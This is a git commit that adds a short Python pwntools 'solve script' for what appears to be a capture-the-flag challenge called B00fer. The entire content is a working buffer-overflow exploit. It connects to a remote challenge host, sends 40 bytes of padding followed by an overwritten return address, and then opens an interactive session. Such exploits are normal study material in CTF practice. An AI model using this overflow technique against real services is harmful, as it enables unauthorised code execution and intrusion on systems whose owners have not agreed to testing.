solve script

This commit is contained in:
jc
2024-10-28 10:03:40 +03:00
parent bfe1478c01
commit 33d52a6d0f
+17
View File
@@ -0,0 +1,17 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./B00fer", checksec=False)
# r = process()
r = remote("b00fer.niccgetsspooky.xyz", 9001)
# funcs
s = lambda a: r.sendline(a)
# buf
buf = b"A"*40
buf += p64(0x401227)
s(buf)
r.interactive()